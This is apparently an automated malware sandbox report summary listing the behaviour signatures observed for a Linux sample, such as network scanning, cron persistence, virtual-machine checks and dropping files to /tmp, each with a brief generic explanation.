Malware Config

Signatures

  • Contacts a large (2103) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.
